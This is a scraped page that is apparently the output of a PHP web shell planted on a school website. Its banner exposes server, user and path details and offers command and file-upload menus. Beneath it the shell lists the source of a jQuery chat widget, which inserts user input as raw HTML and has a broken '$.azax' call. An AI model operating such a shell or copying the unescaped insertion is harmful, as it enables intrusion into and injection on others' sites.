|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
<script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<style>
.col-md-2, .col-md-10{
padding:0;
}
.panel{
margin-bottom: 0px;
}
.chat-window{
bottom:0;
right:0;
position:fixed;
float:right;
}
.chat-window > div > .panel{
border-radius: 5px 5px 0 0;
}
.icon_minim{
padding:2px 10px;
}
.msg_container_base{
background: #e5e5e5;
margin: 0;
padding: 0 10px 10px;
max-height:290px;
overflow-x:hidden;
}
.top-bar {
background: #666;
color: white;
padding: 10px;
position: relative;
overflow: hidden;
}
.msg_receive{
padding-left:0;
margin-left:0;
}
.msg_sent{
padding-bottom:20px !important;
margin-right:0;
}
.messages {
background: white;
padding: 10px;
border-radius: 2px;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);
max-width:100%;
}
.messages > p {
font-size: 13px;
margin: 0 0 0.2rem 0;
}
.messages > time {
font-size: 11px;
color: #ccc;
}
.msg_container {
padding: 10px;
overflow: hidden;
display: flex;
}
.chatimg {
display: block;
width: 100%;
}
.avatar {
position: relative;
}
.base_receive > .avatar:after {
content: "";
position: absolute;
top: 0;
right: 0;
width: 0;
height: 0;
border: 5px solid #FFF;
border-left-color: rgba(0, 0, 0, 0);
border-bottom-color: rgba(0, 0, 0, 0);
}
.base_sent {
justify-content: flex-end;
align-items: flex-end;
}
.base_sent > .avatar:after {
content: "";
position: absolute;
bottom: 0;
left: 0;
width: 0;
height: 0;
border: 5px solid white;
border-right-color: transparent;
border-top-color: transparent;
box-shadow: 1px 1px 2px rgba(black, 0.2); // not quite perfect but close
}
.msg_sent > time{
float: right;
}
.msg_container_base::-webkit-scrollbar-track
{
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
background-color: #F5F5F5;
}
.msg_container_base::-webkit-scrollbar
{
width: 12px;
background-color: #F5F5F5;
}
.msg_container_base::-webkit-scrollbar-thumb
{
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
background-color: #555;
}
.btn-group.dropup{
position:fixed;
left:0px;
bottom:0;
}
.panel-footer {
padding: 10px 15px;
background-color: #ccace0;
border-top: 1px solid #ddd;
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px;
}
#deep
{
background-color:blue;
}
</style>
<script>
$(document).ready(function(){
$( ".panel-body" ).slideUp();
$("#regform").submit(function(e){
e.preventDefault();
$.azax({
});
});
});
$(document).on('click', '.panel-heading span.icon_minim', function (e) {
var $this = $(this);
if (!$this.hasClass('panel-collapsed')) {
$this.parents('.panel').find('.panel-body').slideUp();
$this.addClass('panel-collapsed');
$this.removeClass('glyphicon-minus').addClass('glyphicon-plus');
} else {
$this.parents('.panel').find('.panel-body').slideDown();
$this.removeClass('panel-collapsed');
$this.removeClass('glyphicon-plus').addClass('glyphicon-minus');
}
});
$(document).on('click', '#new_chat', function (e) {
var size = $( ".chat-window:last-child" ).css("margin-left");
size_total = parseInt(size) + 400;
alert(size_total);
var clone = $( "#chat_window_1" ).clone().appendTo( ".container" );
clone.css("margin-left", size_total);
});
$(document).on('click', '.icon_close', function (e) {
//$(this).parent().parent().parent().parent().remove();
$( "#chatbox" ).hide();
});
// send function start
function send(){
var chat = $("#btn-input").val();
var dt = new Date();
var time = dt.getHours() + ":" + dt.getMinutes() + ":" + dt.getSeconds();
if (chat =="") {
alert('Enter Message');
} else
{
var body = '<div class="row msg_container base_sent">' +
'<div class="col-md-10 col-xs-10 ">' +
'<div class="messages msg_sent">' +
'<p>'+ chat + '</p>'+
' <time datetime="2009-11-13T20:00">Administrator • Today '+time+'</time>'+
'</div>' +
'</div>' +
'<div class="col-md-2 col-xs-2 avatar">' +
'<img class="chatimg" src="https://cheme.mit.edu/wp-content/uploads/2017/01/stephanopoulosgeorge-431x400.jpg" class=" img-responsive ">' +
'</div>' +
'</div>';
}
$(body).appendTo("#messagebody");
$('#btn-input').val('');
$("#messagebody").animate({ scrollTop: $("#messagebody")[0].scrollHeight}, 'slow');
}
// send function end
$( "#btn-chat" ).click(function() {
send()
});
$('#btn-input').keypress(function (e) {
if (e.which == 13) {
send()
}
});
</script>
</head>
<body>
<div class="container pull-right" id="chatbox">
<div class="row chat-window col-xs-5 col-md-3 pull-right" id="chat_window_1">
<div class="col-xs-12 col-md-12">
<div class="panel panel-default">
<div class="panel-heading top-bar" id="deep">
<div class="col-md-8 col-xs-8">
<h3 class="panel-title" style="color:white"><span class="glyphicon glyphicon-comment" style="color:white"></span> Chating</h3>
</div>
<div class="col-md-4 col-xs-4" style="text-align: right;">
<a href="#"><span id="minim_chat_window" class="glyphicon glyphicon-minus icon_minim" style="color:white"></span></a>
<a href="#"><span class="glyphicon glyphicon-remove icon_close" data-id="chat_window_1" style="color:white"></span></a>
</div>
</div>
<div id="messagebody" class="panel-body msg_container_base">
<div class="row msg_container base_sent">
<form class="chatbox__credentials" id="regform">
<div class="form-group">
<label for="inputName">Name:</label>
<input type="text" class="form-control" id="name1" name="name"required>
</div>
<div class="form-group">
<label for="inputName">Email:</label>
<input type="text" class="form-control" id="name1" name="name"required>
</div>
<div class="form-group">
<label for="inputEmail">Message:</label>
<Textarea class="form-control" name="message" style="resize:none" required></textarea>
</div>
<button type="submit" id="but" class="btn btn-success btn-block">Enter Chat</button>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</body>
</html>